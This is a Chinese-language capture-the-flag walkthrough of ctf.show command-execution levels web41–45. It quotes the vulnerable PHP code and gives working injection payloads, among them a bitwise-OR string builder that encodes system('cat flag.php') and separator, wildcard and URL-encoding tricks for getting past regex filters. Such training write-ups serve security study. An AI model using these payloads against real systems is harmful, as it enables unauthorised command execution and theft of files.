赞
踩
web41
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date: 2020-09-05 20:31:22
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show
*/
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$||
额,这里直接就给禁止所有字母和数字,
其实看到这种全过滤,反倒是只有一种解法,就是构造字符串
& 按位与 |按位或 ^ 按位异或 ~取反 为四大位运算符,其中按位异 | 没有过滤,过滤的字符是防异或、自增和取反构造字符
根据羽师傅的脚本:
- <?php
- $myfile = fopen("rce_or.txt", "w");
- $contents="";
- for ($i=0; $i < 256; $i++) {
- for ($j=0; $j <256 ; $j++) {
-
- if($i<16){
- $hex_i='0'.dechex($i);
- }
- else{
- $hex_i=dechex($i);
- }
- if($j<16){
- $hex_j='0'.dechex($j);
- }
- else{
- $hex_j=dechex($j);
- }
- $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
- if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
- echo "";
- }
-
- else{
- $a='%'.$hex_i;
- $b='%'.$hex_j;
- $c=(urldecode($a)|urldecode($b));
- if (ord($c)>=32&ord($c)<=126) {
- $contents=$contents.$c." ".$a." ".$b."\n";
- }
- }
-
- }
- }
- fwrite($myfile,$contents);
- fclose($myfile);

脚本意思:
从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符
根据脚本运行结果会出现每个字符对应的表示方法,构造
(system)(cat flag.php)
把对应的字符一一找到,然后在bp上提交就好,注意hackbar上提交的话会有换行的干扰,在bp提交
c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")
web42
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
典型的双写绕过,因为 system($c." >/dev/null 2>&1");这里会把你所输入的内容写入黑洞,所以使用双写绕过,也就是说把第二个放进黑洞,第一个那就保留住了的意思。
payload:
?c=cat flag.php;ls
当然还有一种方法:那就是结尾加入 ||,意思就是只执行前面的命令,后面的就被写入黑洞了
当然想要简洁的话直接?c=cat flag.php ||
web43
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:32:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
知识点:引用chin“师傅的表格来解释好一些
2>/dev/null | 意思就是把错误输出到“黑洞” |
---|---|
>/dev/null 2>&1 | 默认情况是1,也就是等同于1>/dev/null 2>&1。意思就是把标准输出重定向到“黑洞”,还把错误输出2重定向到标准输出1,也就是标准输出和错误输出都进了“黑洞” |
-2>&1 >/dev/null- | -意思就是把错误输出2重定向到标准出书1,也就是屏幕,标准输出进了“黑洞”,也就是标准输出进了黑洞,错误输出打印到屏幕- |
思路:
这里思路一样,只是不能使用分隔符号了而已,那就使用&符号进行分割,他的意思就是说第一个命令执行后第二个命令才会执行,那就起到了命令分割的作用,但是使用必须要URL-encode,因为是url传过去的,所以要记得用url编码,不然没有回显
payload:?c=tac flag.php%26ls
web45
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这里其实就比上面多过滤了个flag而已,所以直接使用?过滤就好
payload:?c=tac fl??.php%26ls
真诚希望文章能够帮助大家,谢谢!
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。